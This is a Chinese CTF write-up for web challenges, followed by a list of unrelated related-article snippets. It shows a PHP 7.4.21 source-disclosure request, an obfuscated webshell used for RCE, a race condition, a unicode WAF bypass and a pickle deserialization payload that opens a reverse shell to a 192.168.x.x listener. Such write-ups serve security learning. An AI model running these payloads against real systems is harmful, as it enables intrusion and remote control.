【tls招新web部分题解】
emowebshell (php7.4.21版本漏洞)
非预期
题目提示webshell,就直接尝试一下常见的后门命名的规则
如
shell.php
这里运气比较好,可以直接shell.php就出来
要是不想这样尝试的话,也可以直接dirsearch进行目录爆破
然后在phpinfo中直接搜素ctf或者flag就可以看到flag了
php存在后门版本
之前做过一个类似的题,也是讲php后门版本为切入点的,那个php的版本为 8.x
参考文章:
https://blog.csdn.net/Shadow_DAI_990101/article/details/126772748
现在的php版本是 7.4.21
直接百度查找相关的php漏洞
https://blog.csdn.net/Kawakaze_JF/article/details/133046885
php 7.4.21存在源码泄露漏洞
poc
GET /phpinfo.php HTTP/1.1 //这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xxGET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件
上面的payload注意要换行
然后用bp读取shell.php的源码

可以看到上面的变量赋值不完整,应该是读取不齐,存在不可见字符
可以讲十六进制的数组复制到十六进制编辑器中进行转码

如图

根据这些emj,直接就可以rce了
直接复制变量就可
getshell
GOGOGO(条件竞争)
条件竞争

点击开始
点击购买时抓包

然后,抓取一个start和一个buy1的数据,进行条件竞争

demo1 (pickle反序列化)
考点是pickle反序列化
打开界面是一个login页面,随便输入一些数据
页面返回

这样可以随便登录进来,那题目的要求应该是以某种身份进行尝试登录
查看源代码发现提示,要以admin用户进行登录

用bp抓包的分析得到data数据

看起来像是base64编码,解码后

因为几乎没怎么做过python的pickle反序列化,直接就把base64编码出来的数据进行百度,然后就可以看到相关的文章,对应得上,就可以知道是pickle反序列化
看了一些文章
https://xz.aliyun.com/t/11807?time__1311=mqmx0DBD90qWqGNqeeqBKfrxA2ixu7lOhYD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DJa8oqhAcZnxX4KLx3CkLkl50Dt_BV9N2UL8DsRp8dLuiGNG6mkln6bl5vMsZNPOW%26wd%3D%26eqid%3D9cf6c4ab00b2125f0000000665f64afd
当时的思路是想着如何覆盖username=admin
但是没有成功
当时一直被一个没有app模块所阻挡了

当时,这里也卡住了,被waf过滤了admin

看了wp后,这里将admin进行了unicode编码绕过admin



解法二:
居然存在pickle反序列化,看到网上的payload,那就直接反弹shell试一下
这里用了很多的现成payload都不行,不知道为什么
参考wp

import base64
import pickle
opcode = b'''(S'python -c 'import
os,pty,socket;s=socket.socket();s.connect(("192.168.100.105", 4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")''
ios
system
.'''
print(base64.b64encode(opcode))
'''
KFMncHl0aG9uIC1jICdpbXBvcnQgb3MscHR5LHNvY2tldDtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjEwMC4xMDUiLCA0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL3NoIiknJwppb3MKc3lzdGVtCi4=
'''

相关文章:
【tls招新web部分题解】
emowebshell (php7.4.21版本漏洞) 非预期 题目提示webshell,就直接尝试一下常见的后门命名的规则 如 shell.php这里运气比较好,可以直接shell.php就出来 要是不想这样尝试的话,也可以直接dirsearch进行目录爆破 然后在phpinfo中直接搜素c…...
力扣热门算法题 52. N 皇后 II,53. 最大子数组和,54. 螺旋矩阵
52. N 皇后 II,53. 最大子数组和,54. 螺旋矩阵,每题做详细思路梳理,配套Python&Java双语代码, 2024.03.20 可通过leetcode所有测试用例。 目录 52. N 皇后 II 解题思路 完整代码 Python Java 53. 最大子数组…...
【OpenVINO】解决OpenVINO在GPU推理中报错的方法
1. 问题描述 使用OpenVINO进行深度学习推理时,通常会借助GPU以提升计算速度。然而,有时候运行程序时候会出现如下错误: <kernel>:8153:2: error: expected identifier or (unroll_for (int i 0; i < TILE_SIZE; i) {^ <kernel…...
AES加密的中文乱码与Java默认编码
0. 背景 win11环境下 java8 idea 开发的项目接口有加密需求,暂时使用AES完成,AES工具类代码如下 public static String aesEncrypt(String content, String key) throws Exception {//指定加密算法Cipher cipher Cipher.getInstance("AES");//创建加密规则&#…...
Node.js笔记 (二)浏览器和服务器
Ajax Ajax是什么 全称:Asynchronous Javascript And Xml. 用javascript执行异步网络请求,可以说是定义了一种编程行为/习惯。 通信双方:浏览器 和 服务器 特点:异步,所以可以在异步请求服务器,在不刷新页…...
面试经典-32-判断子序列
题目 给定字符串 s 和 t ,判断 s 是否为 t 的子序列。 字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,"ace"是"abcde"的一个子序列…...
windows使用知识
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言windows使用知识 一、cmd鼠标选中后,程序不运行的解决方案总结 前言 提示:这里可以添加本文要记录的大概内容: windows使用…...
用python如何实现智能合约?如何使用remix编写solidity智能合约并部署上链
目录 用python如何实现智能合约? 直接展示下成功界面 下面分步骤说: remix代码 python链接remix代码...
Electron窗口管理详解:使用BrowserWindow API打造个性化界面
Electron窗口管理详解:使用BrowserWindow API打造个性化界面 创建和初始化窗口窗口定制化窗口操作与事件监听多窗口管理和工作区布局结语 在当今跨平台桌面应用开发领域,Electron 凭借其 JavaScript 与 HTML5 技术栈结合原生操作系统 API 的能力…...
19---时钟电路设计
视频链接 时钟硬件电路设计01_哔哩哔哩_bilibili 时钟电路设计 晶振是数字电路的心脏,数字电路需要一个稳定的工作时钟信号,时钟电路至关重要! 1、晶振概述 晶振一般指晶体振荡器。晶体振荡器是指从一块石英晶体上按一定方位角切下薄片&…...
PSNR/SSIM/LPIPS图像质量评估三件套(含代码)
在图像质量评估上,有三个重要指标:PSNR,SSIM,LPIPS。本文提供简易脚本分别实现。 PSNR,峰值信噪比,是基于MSE的像素比较低质量评估,一般30dB以上质量就不错,到40dB以上肉眼就很难分…...
20240318uniapp怎么引用组件
在script中增加 import index from "/pages/index/index.vue" 把index直接整个作为一个组件引入 然后注册组件 在export default中增加 components: {index:index }, 注册了index组件,内容为import的index 然后就可以在template里使用 <index&…...
扩展以太网(数据链路层)
目录 一、在物理层扩展以太网 二、在数据链路层扩展以太网 三、以太网交换机的特点 四、以太网交换机的交换方式 五、以太网交换机的自学习功能 六、小结 一、在物理层扩展以太网 使用光纤扩展: • 主机使用光纤(通常是一对光纤)和…...
每日一练 | 华为认证真题练习Day202
1、在组播网络环境中,如果IGMPv2主机和IGMP V1路由器(以下简称版本2主机和版本1路由器)共同处于同一局域网当中,那他们是如何协同工作的?(多选) A. 版本1路由器把IGMPv2报告看作无效的IGMP信息…...
基于python+vue的幼儿园管理系统flask-django-php-nodejs
随着信息时代的来临,过去的传统管理方式缺点逐渐暴露,对过去的传统管理方式的缺点进行分析,采取计算机方式构建幼儿园管理系统。本文通过课题背景、课题目的及意义相关技术,提出了一种活动信息、课程信息、菜谱信息、通知公告、家…...
【java】java环境变量分类
测试代码: public class TestSys {public static void main(String[] args) {/*** 获取所有的系统环境变量*/Map<String, String> map System.getenv();map.forEach((key, value) -> System.out.printf("env:key:%s->value:%s%n"…...
掌握Go语言:Go语言通道,并发编程的利器与应用实例(20)
通道(Channel)是用来在 Go 程序中传递数据的一种数据结构。它是一种类型安全的、并发安全的、阻塞式的数据传输方式,用于在不同的 Go 协程之间传递消息。 基本概念 创建通道:使用make()函数创建一个通道。 ch : make(chan int)…...
JavaSE(上)-Day9
JavaSE(上)-Day9 集合static静态变量静态方法静态方法的注意事项重新认识main方法 继承继承注意事项子类到底能继承父类哪些内容继承中成员变量和成员方法的访问特点重写构造方法的访问特点this & super 集合 因为数组是不可变的,我们在…...
Java 内存模型概述
Java 内存区域 引言: 在并发编程中,需要解决两个问题:线程之间如何通信和线程之间如何同步 通信是指线程之间以何种机制来交换信息 在命令式编程中,通信机制主要分为两种:共享内存和消息传递 Java 的并发采用的是…...
远程桌面安卓版下载 安卓远程控制免费版
远程桌面安卓版下载与安卓远程控制免费版的应用解析 随着移动互联网的快速发展,远程桌面应用逐渐成为了许多用户、特别是技术爱好者和商务人士的必备工具。它们不仅可以在电脑上实现远程控制,还能将这种功能延伸到移动设备上,如安卓手机和平…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...
Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
C++_核心编程_多态案例二-制作饮品
#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为:煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例,提供抽象制作饮品基类,提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
cf2117E
原题链接:https://codeforces.com/contest/2117/problem/E 题目背景: 给定两个数组a,b,可以执行多次以下操作:选择 i (1 < i < n - 1),并设置 或,也可以在执行上述操作前执行一次删除任意 和 。求…...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
Java入门学习详细版(一)
大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...
